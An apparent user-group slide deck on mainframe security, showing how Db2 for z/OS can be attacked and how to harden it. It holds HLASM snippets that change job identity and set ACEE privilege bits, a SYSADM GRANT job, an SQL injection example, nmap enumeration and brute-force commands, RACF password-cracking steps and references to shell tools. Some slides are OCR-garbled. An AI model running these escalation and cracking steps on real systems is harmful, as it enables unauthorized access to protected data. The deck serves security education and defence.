TRI-STATE DB2 TECHNOLOGY EXCHANGE Db2 Users Group

How to Hack Db2 for z/OS: Lessons We Can Draw from Mainframe Hackers

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Warning!

- This presentation was made will all **good intents** to help you securing your environment.
- Sensitive content is included. Please use it wisely.
- All information presented here is **publicly available**!
 - No 0-day vulnerabilities, no reverse engineering, etc.





Agenda

- About me
- Definition of a hack and examples
- Mainframe hackers community
- Db2 Security in a nutshell
- Hacking the Mainframe
 - Social engineering
 - Enumerations
 - z/OS Security, storage
 - Privilege escalation
- Next Steps and Actions
- Links





About me

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About me

- Mainframe Born with z/OS 1.7, z9, Db2 8
- Working in Db2 tools, Architect role, Based in Prague, Czech Republic



MAINERAME SUFT WARE

About me

Do I look like a hacker? (My most hacker-like pictures I found...)







Definition of a hack





Can a mainframe be hacked?

- Sure, it happened already!
 - And we speak about IBM mainframes running z/OS
- Known Mainframe hacks
 - <u>Luxottica</u> 2008
 - Logica and Nordea 2013 (anakata)
 - Sources on Github
- Unknown hacks...?
- Keep in mind: Mainframe is important!
- But there are myths and typical issues:
 - "the most secure platform, period"
 - "hackers do not know anything about MF"
 - difficult to find answers (typical answer: "you should not be doing this, ask your sysprog or read the manual")
 - misconfigurations
- Be open minded!





Known vulnerabilities

- Watch CVEs and IBM Security portal
- Common Vulnerabilities and Exposures (<u>CVE</u>s)
- IBM Security portal
 - Common Vulnerability Scoring System (<u>CVSS</u>) available
 - Lists PTFs for each security fix





Definition

What do I mean by hacking Db2 for z/OS?

- Accessing the data I normally would not be allowed to access. Through Db2 or outside of Db2.
- Get higher privileges than I have
- Harm or break the Db2 subsystem
- 3 simple examples follow:
 - Privilege escalation to SYSADM
 - Accessing the Db2 log or physical table spaces
 - SQL Injection



Example 1

Personas

- Emil, a developer
- Joe, a DBA

Scenario, Hill Statement



- Emil, a developer, needs a certain Db2 authority on a test Db2 subsystem (Please note that is may be a random Emil, not anyhow related to the author of this slide deck)
- Joe, the DBA, is on vacation
- Emil is lazy to open a ticket to have an alternate DBA providing him the access
- Emil uses some tricks to get the access he needs

DSN9016I !ssid '-DIS GROUP' COMMAND REJECTED, UNAUTHORIZED REQUEST DSN9023I !ssid DSN9SCND '-DIS GROUP' ABNORMAL COMPLETION



Example 1, HLASM code

This HLASM code snippet allows Emil to change his identity of the job ٠

| | $ \begin{array}{ccc} L & R10,548 & R10 \Rightarrow AS \\ L & R10,ASCBASXB-ASCB(,R10) & R10 \Rightarrow AS \\ MODECET KEY=7EDO MODE=DDOD \end{array} $ | | |
|---|---|-------------|---|
| | MODESET KEY=ZERO,MODE=PROB MVC ASXBUSR8-ASXB(8,R10),=CL8'KRTECEK ' | ASXBUSR8(0) | 8-byte version of ASXBUSER |
| | MODESET KEY=NZERO,MODE=PROB | ASXBUSER | - USER ID FOR WHICH THE JOB OR SESSION IS BEING EXECUTED (MDC306) |
| • | And allows him to run this GRANT that would normally not be possible | e | - Last byte of ASXBUSR8. ASXBSECR and ASXBSFLG are deleted |

٠ And allows nim to run this GRANT that would normally not be possible

| <pre>//DSNTIJG EXEC PGM=IKJEFT01,DYNAMNBR=20,COND=(4,LT)</pre> |
|--|
| //STEPLIB DD DISP=SHR,DSN=HLQ.SDSNEXIT |
| // DD DISP=SHR,DSN=HLQ.SDSNLOAD |
| //SYSTSPRT DD SYSOUT=* |
| //SYSPRINT DD SYSOUT=* |
| //SYSUDUMP DD SYSOUT=* |
| //SYSTSIN DD * |
| DSN SYSTEM(dsn) |
| RUN PROGRAM(DSNTIAD) PLAN(DSNTIAxx) - |
| LIBRARY('dsn.RUNLIB.LOAD') |
| END |
| //SYSIN DD * |
| GRANT SYSADM TO EMIL; |

See full code and JCL in the Appendix •



Example 1

Assumptions:

- Update Access to an APF authorized library
- Know the SYSADM/SECADM user ID

Questions:

- · Update Access to an APF authorized library
 - There are some other possibilities explained later (magic SVC, SURROGAT, ...)
- Db2 external vs internal security
 - Install SYSADM bypassed by security exit
 - If external security was used, Emil would need to become the security admin and grant the privileges see later slides
- Multi level security
 - Emil needs to impersonate as a right person or become security admin to grant the privileges

Fix:

- Protect your APF authorized libraries
- Audit



Example 2, accessing datasets

Same persona



Scenario, Hill Statement

- Emil, a developer, needs access to a Db2 dataset in order to run some of these standalone utilities:
 - DSN1LOGP
 - DSN1COPY
 - DSN1PRNT
- Emil is lazy and never opens a ticket

TSS7220E 101 J=EMIL01C A=EMIL VOL=VOL001 ACC=READ DSN=super.secret.dataset TSS7221E Dataset Not Accessible - super.secret.dataset



Example 2, HLASM code

- This code snippet adds Emil certain superpower!
- It allows him to access the datasets he would not be able to access

| L R10,548 L R10,ASCBASXB-ASCB(,R10) ICM R5,15,ASXBSENV-ASXB(R10) BZ NOACEE MODESET KEY=ZER0,MODE=PROB NI ACEEFLG1-ACEE(R5),X'00' | R10 => ASCB R10 => ASXB IF ACEE IS PRESENT ACEESPEC+ACEEOPER+ | |
|---|--|---|
| OI ACEEFLG1-ACEE(R5),X'B1' MODESET KEY=NZER0,MODE=PROB | ACEEAUDT + ACEERACF | - ADDRESS OF ACCESS CONTROL ENVIRONMENT ELEMENT (MDC304) |

• See full code and JCL in the Appendix



Example 2

Assumptions:

• **Update Access** to an APF authorized library

Questions:

- Update Access to an APF authorized library
 - There are some other possibilities explained later (magic SVC, SURROGAT, ...)
- Pervasive encryption
 - Emil's options (1) impersonate as a user with access, (2) become a security admin and grant the key label access

Fix:

• Protect your APF authorized libraries



Example 3

Personas



• There is only a single field for a name in the application


Scenario, Hill Statement

• Emil, a user, is just curious and tries a **SQL injection**





Example 3 - SQL Injection



- https://xkcd.com/327/
- Affects usually web applications, but ...



Example 3 – COBOL code under the hood

| MOVE SPACES TO STMT-SQL-TEXT. STRING "SELECT FIRSTNME, LASTNAME" "FROM EMP" "WHERE FIRSTNME = '" FIRSTNME-TEXT(1:FIRSTNME-LENGTH) "'" DELIMITED BY SIZE INTO STMT-SQL-TEXT. EXEC SQL PREPARE DYN_STMT FROM :STMT-SQL END-EXEC. EXEC SQL OPEN DYN_CSR END-EXEC. | <pre>1. Input (FIRSTNME-TEXT) = Emil SELECT FIRSTNME, LASTNAME FROM EMP WHERE FIRSTNME = 'Emil'</pre> |
|--|---|
| | Shows all Emils 2. Input (FIRSTNME-TEXT) = Emil' OR ''=' |
| | SELECT FIRSTNME, LASTNAME FROM EMP WHERE FIRSTNME = 'Emil' OR ''='' Shows everybody !!! |



Example 3- Fix

EXEC SQL DECLARE STAT_CSR CURSOR FOR SELECT FIRSTNME, LASTNAME FROM EMP WHERE FIRSTNME = :FIRSTNME END-EXEC. EXEC SQL OPEN STAT_CSR END-EXEC.

- Sanitize inputs
- Use host variables whenever possible
- Scan your code




```
1. Input = Emil
SELECT FIRSTNME, LASTNAME FROM EMP WHERE FIRSTNME = 'Emil'
-- Shows all Emils
2. Input = Emil' OR ''='
SELECT FIRSTNME, LASTNAME FROM EMP WHERE FIRSTNME = 'Emil'' OR ''''='''
-- Shows nobody !!!
```



Mainframe Hackers Community



Mainframe Hackers? Yes, there are!



"The worlds first MAINFRAME PENETRATION TESTING CLASS"

- <u>https://evilmainframe.com/</u>
- Created and led by
 - Phil Young, Soldier of FORTRAN (mainframed767)
 - Chad Rikansrud, Bigendian Smalls



Mainframe Hackers

Already helped to fix or reported several problems

- USS
- RACF

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
- TSO Logon
- CICS user enum
- NJE brute force

Advocating for good practices

Advocating for pen-testing












Db2 security in a nutshell



Db2 Security in a Nutshell

https://www.ibm.com/docs/en/db2-for-zos/13?topic=securing-db2

- User authentication
 - Identification and verification
- User authorization
 - Access to Db2
 - Access to Db2 resources
- Db2 native (internal) vs ESM (external) security





Db2 Security in a Nutshell - Environment

- Mainframe + z/OS, hardware and software synergy
 - Storage keys
 - Supervisor state
 - Address spaces
 - Authorized Program Facility (APF)
 - Security Authorization Facility (SAF)
 - Pervasive Encryption
 - ...
- External Security Managers (ESM)
 - ACF2, RACF, Top Secret





Db2 Security in a Nutshell – Basic terms

Authentication

- Identification and verification of the user id
- Userid + password, MFA, digital certificates, ...
- Authorization
 - Permitting or rejecting the access to resources (including Db2 itself)
- Db2 connection/identification (DSN3@ATH) and sign-on (DSN3@SGN) exits
 - Assignment of values to primary IDs, secondary IDs, and SQL IDs
 - Process depends on the originating environment
- Primary auth id
 - Identifies a process (usually represents user's authorization ID)
- Secondary auth id
 - Collection of associated authorization IDs (typically groups) and can hold additional privileges
- SQL ID
 - Privileges that are checked for certain dynamic SQL
 - primary ID or any of the secondary IDs





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Db2 Security in a Nutshell Connection and Sign-on Exits

| Environment | Connection Exit (DSN3@ATH) | Sign-on Exit (DSN3@SGN) |
|------------------------------|-------------------------------|----------------------------|
| TSO foreground/background | Yes | No |
| Batch jobs | Yes | No |
| Started Tasks | Yes | No |
| IMS Control Region | Yes | Yes |
| CICS | Yes | Yes |
| DL/I batch | Yes | Yes |
| RRSAF | Yes | Yes |
| IMS Dependent Region | No | Yes |
| CICS subtasks | No | Yes |
| Db2 administrative tasks | No | Yes |



Db2 Security in a Nutshell

- Db2 internal vs external security
 - Database Administrator vs Security Administrator managed security
- Internal security (Db2 Native)
 - Privileges and roles tracked in the Db2 catalog
- External security
 - Db2 calls the ESM to check the privileges
 - Access control authorization exit routine (**DSNX@XAC**)
 - Security database
- Internal and External securities can be combined!
 - RC=4 (Unable to determine) from DSNX@XAC -> Internal security takes place





Db2 Security in a Nutshell

• Db2 internal vs external security

| | Internal | External |
|------------|---|--------------------------------|
| Managed by | Database admin | Security admin |
| Stored in | Db2 catalog (SYS*AUTH) | Security database |
| Controls | GRANT, REVOKE | Control statements (PERMIT) |
| Objects | Db2 objects (Tables, Packages, Tablespaces,) | Resource classes |
| Privileges | SELECT, EXECUTE, | Profile names |



Db2 Security in a Nutshell - Goodies

- Primary user id may come from (depending on the environment and connection type see your exits):
 - **ASXBUSER** See Example 1
 - ASCBJBNS,
 - ACEEUSRI,
 - UPTPREFX
- Installation SYSADM is bypassed by security exit
 - Can manage security-related objects
 - With SYSADM can access all user data and can run any application
 - Not affected by SEPARATE_SECURITY
 - **Exception**: Multi-level security with row-level granularity is enforced

Input values for connection routines

A connection routine can have different input values. The input values for a connection routine include the following:

PSPI The initial primary authorization ID for a local request can be obtained from the z/OS address space extension block (ASXB).

The ASXB contains at most only a seven-character value. That is always sufficient for a TSO user ID or a user ID from an z/OS JOB statement, and the ASXB is always used for those cases.

For CICS, IMS, or other started tasks, z/OS can also pass an eight-character ID. If an eight-character ID is available, and if its first seven characters agree with the ASXB value, then Db2 uses the eight-character ID. Otherwise it uses the ASXB value.


If RACF is active, the field used contains a verified RACF user ID; otherwise, it contains blanks.

| ASXBUSR8(0) | 8-byte version of ASXBUSER |
|-------------|---|
| ASXBUSER | - USER ID FOR WHICH THE JOB OR SESSION IS BEING EXECUTED (MDC306) |
| | - Last byte of ASXBUSR8. ASXBSECR and ASXBSFLG are deleted |
| ASXBSENV | - ADDRESS OF ACCESS CONTROL ENVIRONMENT ELEMENT (MDC304) |




Db2 Security in a Nutshell - zParms

- PROTECT RACF protect archive log data sets
- AUTH=NO everything is Public! Recommendation is YES
- AUTHEXIT_CHECK whether the owner or the primary authorization ID is used for authorization checks
- AEXITLIM the number of tolerated abends of the Db2 access control authorization exit routine
- AUTHEXIT_CACHEREFRESH whether the cache is invalidated when resource access is changed
- MFA_AUTHCACHE_UNUSED_TIME how long MFA credentials can remain unused
- **TCPALVER** setting of YES or CLIENT provides minimal security. Recommendation: **SERVER_ENCRYPT**
- SEPARATE_SECURITY whether Db2 security administrator duties are to be separated from system administrator
- **EXTSEC** generic vs detailed errors for DRDA connections
- SYSADM1/SYSADM2/SYSOPR1/SYSOPR2/SECADM1/SECADM2
- DEFLTID authid of unknown user (IBMUSER)
- RLFAUTH authid for Resource Limit Facility
- BINDNV whether BIND or BINDADD authority is to be required for a user to bind a new version of a package
- DBACRVW whether an authid with DBADM authority on a database is to be allowed to complete certain tasks.
- REVOKE_DEP_PRIVILEGES whether dependent privileges are to be revoked
- **DISALLOW_SSARAUTH** whether user AS are blocked from setting a Db2 AS as a secondary address space
- ENCRYPTION_KEYLABEL ICSF key label







Own the Mainframe



Own the Mainframe in a few steps

Social Engineering

• See what is there and how to get there

Enumerations

• See what is running on the mainframe from the external/internal perspective

Get a shell

• Get yourself a comfortable environment

Bypass the security

• Privilege escalation, changing the identity, adjust the security configuration

Get what you need



Social Engineering – You need to know where to go

Might be difficult if you are not that social :-/

• Fortunately, there are tools and tricks!

SET'n'3270 - Man in the Middle tn3270 proxy and so much more!

- Create a fake TSO logon screen as a honey pot.
- Mirror a live mainframe, even taking commands you expect users to enter.
- MITM a connection and output the input to the console.

Look for

- Job postings, presentations, guides
- LPAR names, IP addresses, CICS regions, passwords

Google hacking

- inurl:swsinfo (ShadoWeb REXX based web server)
- intitle:"Host On-Demand" (web based TN3270 client)
- site:share.confex.com "[company]" type:pdf
- inurl:cics/cwba (default CICS Web url)

Mailing lists

• IBMMAIN, IBMTCP-L, CICS-L, RACF-L, DB2-L




Getting a USERID and password is usually not a problem





Types of enumerations

- From the internet Outside of your company all the externally visible services
- From the intranet Inside your company, but not on the mainframe yet all the services provided by mainframe
- On the mainframe Subsystems and all other info everything running on the mainframe






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Enumerations from outside of your company

- Public mainframe logon <u>screens</u>!
- Public REST APIs (including Db2)





Enumerations - outside of the mainframe

Nmap: Discover your network



- <u>nmap</u> is your friend! Support for z/OS is included
- Open ports: nmap -n -p- -d -oA ip.date.initial <ip>
- Service detection: nmap -sV -p 23,22,21 -vv -d -oA ip.date.initial <ip>

Host is up, received user-set (0.21s latency). Scanned at 2022-04-06 10:04:46 EDT for 47s PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack IBM OS/390 ftpd V2R5 22/tcp open ssh syn-ack OpenSSH 7.6 (protocol 2.0) 23/tcp open tn3270 syn-ack IBM Telnet TN3270 (TN3270E) 923/tcp open telnet syn-ack

Db2 DDF port was unrecognized at the time of writing

PORT STATE SERVICE REASON VERSION 5307/tcp open sco-aip? syn-ack 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port5307-TCP:V=7.91%I=7%D=2/21%Time=63F49F8C%P=x86_64-pc-linux-gnu%r(Ge SE-tPoquest 112 "HTTP/1\ 1\x20404\x20Not\x20Found\r\rConnection:\x20close\





Enumerations - nmap

Reading TN3270 screens, tn3270-screen

```
nmap -p 23 -sV -script tn3270-screen --script-args tn3270-
screen.commands="Yes" <ip>
```

Appl ID enumerations, vtam-enum

nmap --script vtam-enum --script-args idlist=defaults.txt,vtamenum.command="exit;logon applid(logos)",vtam-enum.macros=true vtamenum.path="/home/emil/screenshots/" -p 23 -sV <targets>

CICS transactions ID, cics-info, cics-enum

- With access to CEMT: nmap --script cics-info --script-args cicsinfo.commands='LOGON APPLID(CICSTSNN)' -p 992 <ip>
- Without CEMT: nmap -vv -n -Pn -sV -p 992 <ip> --script cics-enum -script-args cics-enum.commands="logon applid(cicstsnn)",unpwdb.timelimit=0,brute.threads=1,brute.start=1,bru te.delay=2,cics-enum.user=<user>,cics-enum=<pass>,cicsenum.path=/<folder>/



Enumerations - nmap

Logical Units (LU), lu-enum

nmap --script lu-enum -p <port> <ip>

NJE password brute, <u>nje-pass-brute</u>

nmap --script nje-pass-brute --script-args nje-pass-brute.rhost=EMIL,njepass-brute.ohost=LIVE,passdb=passwords.txt -p <port> <ip>

TSO users, tso-enum

nmap -n -vv -sV -p <port> <ip> --script tso-enum --script-args
userdb=userdb.txt,unpwdb.timelimit=0,brute.threads=1,brute.start=1,brute.del
ay=1

Packet capture

- tshark (terminal based Wireshark)
- many customers still use clear text telnet, ftp, ...!





System Enumeration

Goal: Understand the system

• from basic info such as version, name, etc to more advanced

No need for authorizations, reads from non-fetch protected control blocks!

CLIST, REXX, CICS

SYSJES JES2 Z/OS 2.5 SYSLRACF 7791 SYSMVS SP7.2.5 SYSNODE USILCA11 SYSOPSYS Z/OS 02.05.00 HBB77D0 SYSRACF AVAILABLE SYSPLEX PLEXC1

| CNNNNC | |
|---|------------------------------------|
| | |
| . : \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ | z/OS System Enumeration Script |
| · › › › › › › › › › › › › › › › › › › › | 2703 System Enumeration Script |
| | Accumonte: ALL ARE CAT 10R |
| sof ' "\" | Arguments: ALL, APF, CAT, JOB, |
| 501 c0#0p | PATH, SÉC, SÝC, VÉRS, WHO, TSTA |
| | WHU, ISTA |
| ት ት ት ት ት ት ት ት ት ት ት ት ት ት ት ት ት ት ት | |
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| | |
| z-o-se-n-u-m-e-r-a-t-i-o-n | |
| args: | |
| 'ALL' Display ALL Information | |
| 'APF' Display APF Authorized Datase | |
| 'CAT' Display Catalogs (File Enumer | ation) |
| 'JOB' Display Executing Job Name | |
| 'PATH' Display Dataset Concatenation | |
| 'SEC' Display Security Manager Info | mation |
| 'SVC' Display All SVCs | |
| 'VERS' Display System Information | |
| 'WHO' Display Logged On TSO/OMVS Us | |
| 'TSTA' Display TESTAUTH authorizatio | n |
| 'USSU' Display USS/OMVS user list | |
| | |



System Enumeration

What can be easily enumerated using enum REXX script

- APF Authorized datasets
- Catalogs, dataset enumerations
- Executing jobs
- Dataset concatenations
- Security manager information
- SVCs
- System information
- Logged on TSO users
- TESTAUTH authorizations
- USS/OMVS User lists



• If you have **UPDATE or greater** access to an **APF** authorized library you can do whatever you want!

- ELV.SVC
 - tool to list check for MAGIC SVC or AUTH SVC
 - a user defined SVC (n>200) that sets the authorization bit ON
 - No APF needed!
- <u>ELV.SELF</u>
 - tool to impersonate users/jobs/started tasks on z/OS
 - It overwrites the caller's ACEE structure with a foreign ACEE owned by another task/user/job




System Enumeration

- Other helpful commands
 - d iplinfo
 - d prog,apf
 - d o,prefix
 - \$d jes2
 - \$d a
 - \$d path NJE info
- ISPF Helpers
 - 3.4
 - DDLIST
 - TSO TASID
 - ISPF ISPVCALL



How to Break in – Common Attack Vectors





Greatest Hits

- APF libraries
 - Check the access <u>APFCHECK</u>, <u>ELV.APF</u>
- Magic SVCs
- Submitting jobs as other users:
 - READ access to **<userid>.SUBMIT** in the <u>SURROGAT</u> class
 - add USER=<userid> to JOB card
- Security **classes** such as <u>DASDVOL</u> class (Allows you to copy any file on a volume)
 - See later slides for more
- NJE (Network Job Entry)
 - Allows for the submission of jobs to other NODES on the mainframe network
 - /*XEQ nnnnnnn
 - See "A JCL Adventure with Network Job Entries" here
 - NJElib This library connects to a mainframe serving up NJE and pretends to be mainframe



Greatest Hits


• TSO

- profile, prefix
- commands: LISTCAT, LISTDS, SEND, TEST, SUBMIT, TRANSMIT
- SYSEXEC vs SYSPROC
- CLIST,
- REXX STORAGE, ADDRESS, BPXWUNIX, OUTTRAP, SOCKET, X2B
- USS

а

- Unix from TSO: OSHELL, OEDIT / OBROWSE, OGET / OPUT, OMVS
- TSO from unix: /bin/tsocmd or /bin/tso
- APF via Extended attributes: extattr

When this attribute is set (+a) on an executable program file (load module), it behaves as if loaded from an APFauthorized library. For example, if this program is exec()ed at the job step level and the program is linked with the AC=1 attribute, the program will be executed as APF-authorized. To be able to use the **extattr** command for the **+a** option, you must have at least read access to the BPX.FILEATTR.APF resource in the FACILITY class profile. For more information about BPX.FILEATTR.APF, see Commonly used environment variables in *z/OS UNIX System Services Planning*.





Greatest Hits

• FTP

- SITE FILE=<u>JES</u> job execution
- SITE FILE=<u>SQL</u> SQL execution
- SITE FILE=SEQ back to normal
- SSH
- Languages
 - HLASM, C, buffer overflow
 - REXX Scripting

ftp≻ QUOTE RETR select.txt 550 SQL query not available. Can't load CAF routines.



Other Bits and Bytes - CICS

- Security not turned on by default
 - To turn on add SEC=YES to SIP table (?)

Useful transactions

- CEMT
 - Allows access to system level information
 - Allows to declare new transactions
 - View list of active transactions: CEMT INQUIRE TRANSACTION
- CEDA
 - Allows to rename transactions IDs, IDs are protected at name level, can be used to bypass security
- CECI
 - Allows for uploading of JCL for code execution
- <u>CICSpwn</u> tool to pentest CICS Transaction servers on z/OS




Features

- Get general information about CICS and the underlying z/OS
 - List available IBM supplied transactions
 - Get active sessions and userids
 - Get path (HLQ) of files and libraries
 - $\circ~$ Check if CICS is using RACF/ACF2/TopSecret
- Read files created by the application
- Enables CECI and CEMT if they are RACF protected
- Remotely execute code using Spoolopen and TDqueue
- Checks security settings on z/OS



Other Bits and Bytes - REXX

- REXX <u>SOCKET</u> command
 - Similar to C sockets
 - Socket option to convert from EBCDIC to ASCII: SO_ASCII



• Allows creating a shell! See Later slides





Shells

Why?

- Work environment
- Scripting, automation
- <u>https://github.com/mainframed/Shells</u>
 - Such as REXX with socket submitted via FTP
- <u>s3270</u> displayless emulator for writing screen-scraping scripts
- <u>TN3270</u> data stream parsing and in-memory emulation

<u>MainTP.py</u>

- JCL+C+FTP to create a C shell
- IEBGENER to create a file in /tmp, then BPXBATCH to compile and execute

TShOcker

- Uses JCL+REXX to create a temporary command interpreter
- Uses FTP to upload <u>CATSO.rx</u>
- · Creates a listener or reverse connection

Metasploit

- open source framework of known exploits used to test for known vulnerabilities
- supports zArch!

.-~-. ./00000000\.'000`9~~-. . 000000.00M. 0LSON00000@@000000\ - '00@@@@WW@@@WWWWWWWWWO0WW@ /000@@0@@@@@@@@@000000@@@@00 1000@@@00@@@WWWWWWWWOWWWO\WWW00000 \000@@@000@@@@@@00W\|||||\\WWW ,00@@@00000000WW\||||\\WWW ~c~8~@@@@WWW@@W\|||||\\WOO\\UO-~ (OMMMMM@/\W\||||||\WO) N-N'' \||\\WW=*' _\III\ \|||_\ TSh0cker 1111 111 111 11 11






Security



External Security Manager

- Security classes
 - USER
 - GROUP
 - DATASET discrete vs generic
 - Access Types READ, EXECUTE, UPDATE, CONTROL, ALTER
 - RESOURCES
- WARNING mode
 - access denied message but allows access anyway
- RESOURCES
 - Divided up in to CLASSES and RESOURCES
 - Over 200 classes
 - Important resources/classes
 - BPX.SUPERUSER / FACILITY
 - <userid>.SUBMIT / SURROGAT
 - SUPERUSER.FILESYS.MOUNT / UNIXPRIV
- **RACF** authorization Decision logic
 - · Look here or see the documentation



Deny

Deny

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RACF Classes

- FACILITY
 - READ access to **BPX.SUPERUSER** gives su to root without password
 - READ access to BPX.FILEATTR.APF allows to create APF authorized programs in unix
- SURROGAT
 - READ access to <userid>.SUBMIT allows to submit jobs as a user userid
- UNIXPRIV
 - UPDATE/CONTROL access to SUPERUSER.FILESYS.MOUNT allows to mount any filesystem (including those that contain APF/setuid programs)
 - READ/UPDATE access to SUPERUSER.FILESYS allows read/write any file
 - UPDATE to SUPERUSER.FILESYS.USERMOUNT allows to mount a setuid filesystem



Security - User Profile

- User Profile contains
 - name, owner, groups
 - attributes
 - last logon
 - password hash
- TSO LISTUSER, LISTGROUP
- Attributes
 - SPECIAL Access to all RACF commands. Full control over all of the RACF profiles (including yourself)
 - OPERATIONS Access any dataset regardless of dataset rule see Example 2
 - AUDIT View any RACF rule/profile
 - **PROTECTED** Usually used by started tasks
 - cannot be used to logon to the system, and are protected from being revoked
 - NOPASSWORD, NOPHRASE, and NOOIDCARD
 - <u>PRIVILEGED</u> If the user has the privileged attribute, RACF grants the request. Such requests cannot be audited.
 - PTF to avoid ACEEPRIV in utility programs
 - ACEE modification detection in z/OS please note that this not always means a problem

| Common name: | Accessor Environment Element (ACEE) |
|------------------------|--|
| Macro ID: | IHAACEE |
| DSECT name: | ACEE |
| Owning component: | Resource Access Control Facility (SC1BN) |
| Eye-catcher ID: | ACEE (Offset: 0, Length: 4) |
| Storage attributes: | Subpool 255 (or as specified by the issuer of RACROUTE REQUEST=VERIFY) |
| | Key 0 |
| | Residency May reside above 16M |
| Size: | 192 bytes (does not include any data pointed to by ACEE) |
| Created by: | RACF or MVS [™] 's system authorization facility (SAF), depending on the parameters specified on RACROUTE REQUEST=VERIFY |
| Pointed to by: | A field supplied by the issuer of RACROUTE REQUEST=VERIFY. Or, for MVS only: ASXBSENV or TCBSENV. ACEEs pointed to by ASXBSENV or TCBSENV always reside below 16M. |
| Serialization: | See the notes that follow Function. |
| Function: | Maps the ACEE; represents the authorities of a single accessor in the address space. |



RACF Password Cracking

- John the Ripper supports RACF too!
 - download the RACF database as a binary
 - strip out password hashes: racf2john RACFDB > hashes.txt
 - crack the passwords: john hashes.txt
- Look <u>here</u> (but be careful!)
- Passtickets can be <u>handled</u> too
- What about TopSecret, ACF2?
 - Not aware of any at the moment

KUD I KEXRPoCocBHxrbsGhfuhUwWSuv1pUBuH0 g i j22nYG53tuYxMg0ghnLk I FA6g I rhC3HPzXF50 i qAP i 70F r ZZDk Jt0ZZr R j RHZb0gn I bg I vpU18f16 i kmGrmo32gNZ JMCNpnCE fULUYyD8ngxvYSaKSrU0 X juvn9ZF6 j y 7fKAPg6fG29L418032zZMM jaFzAn42 m9HVH5UoXSmymztK31Cc0BwWEFZNc jaKm515XuUHJ4 j MVDcM j j kM8f PASSWORD I 0pUTDr6h198 i WZrxi0Fa **VyCSZUgp i UfUptXM7NeXVUuFNb50x0 j X5vtuDyr CvwZV RaapXt57kN82pL17ATN I X0Zx4qNYR j TT59fWevZSu I W86 MF cwWGXZOMq2 JSSpWw I gu 1 J43nAYofnf90oa JUBHrk5C i MF cwWGXZOMq2 JSSpWw I gu 1 J43nAYofnf90oa JUBHrk5C i MF cwWGXZOMq2 JSSpWw I gu 1 J43nAYofnf90oa JUBHrk5C i MF cwWGXZOMq2 JSSpWw I gu 1 J43nAYofnf90oa JUBHrk5C i ThoUetPFLtK0hTzEJxrA9E28EpQSWZrpRN30vB9e6Tu 102 ThoUetPFLtK0hTzEJxrA9E28EpQSWZrpRN30vB9e6Tu 102 ThoUetPFLtK0hTzEJxrA9E28EpQSWZrpRN30vB9e6Tu 102 ThoUetPFLtK0hTzEJxrA9E28EpQSWZrpRN30vB9e6Tu 102 F Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660 g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660 g R0PzZhA I KmCkeCm00a GK X2XJmW f r Sa JvG 1 2Mn I H1 g j k Z660 g R**





Storage & APF



Storage & APF

- Storage contains information you typically don't have access to
- · Commands may not show the details, but that information is in the storage
- Reading storage does not generate alerts nor audit records
- With a proper knowledge you can even navigate to Db2 buffer pools!
- Storage Keys vs PSW Keys, Fetch protection
- APF
 - Allows the program to change CPU state to supervisor state
 - Allows the program to change any region of storage, including read only areas!
 - APF commands
 - /D PROG,APF
 - /SETPROG APF,ADD,DSNAME=EMIL.APF.EXAMPLE,SMS
 - APF in USS viewable with -E flag on Is
 - S ls -lE ./a.out rwxr-xr-x a-s-
 - Use the command extattr +a to set a file APF
 - $_{\odot}$ You'll need read access to the **BPX.FILEATTR.APF** resource in the FACILITY class

| Conditio | Is Access to | | |
|--|--------------|---------------|--------------------|
| Fetch-Protection Bit of Storage Key | Key Polation | Storage Fetch | Permitted Store |
| Bit of Storage Key | - | | |
| 0 | Match | Yes | Yes |
| 0 | Mismatch | Yes | No |
| 1 | Match | Yes | Yes |
| 1 | Mismatch | No | No |

The keys are said to match when the four accesscontrol bits of the storage key are equal to the access key, or when the access key is zero.

- User programs run normally with Key 8
- Db2 runs with Key 7

53248 Feb 28 2020 ./a.out



UPDATE or higher access to APF – Game Over!

- Authorized Program Facility (<u>APF</u>)
 - if you have at least UPDATE access you can do whatever you want!
 - · Unrestricted access to memory
 - MODESET macro
 - set KEY in PSW
 - set supervisor

Privilege escalation in six lines!

| Privilege escalation in six lines! | | | Table 6. Structure ACEE (continued) | | | |
|------------------------------------|--------------------|---------------|-------------------------------------|---------------|---|--|
| | PSA AOLD-> | Offset Dec | Offset Type Hex | Len Name(Dim) | Description | |
| MODESET KEY=ZERO, MODE=SUP | ASCBASXB-> | 38 | (26) BITSTRING | 1 ACEEFLG1 | User flags | |
| L 5,X'224' | ASXBSENV-> | | 1 | ACEESPEC | 1 - Special attribute | |
| L 5, X' 6C' (5) | set ACEEFLG1 bits | | .1 | ACEEADSP | 1 - Automatic data security protection | |
| $T = \nabla I \cap O I (5)$ | ACEESPEC+ACEEOPER+ | | 1 | ACEEOPER | 1 - Operations attribute | |
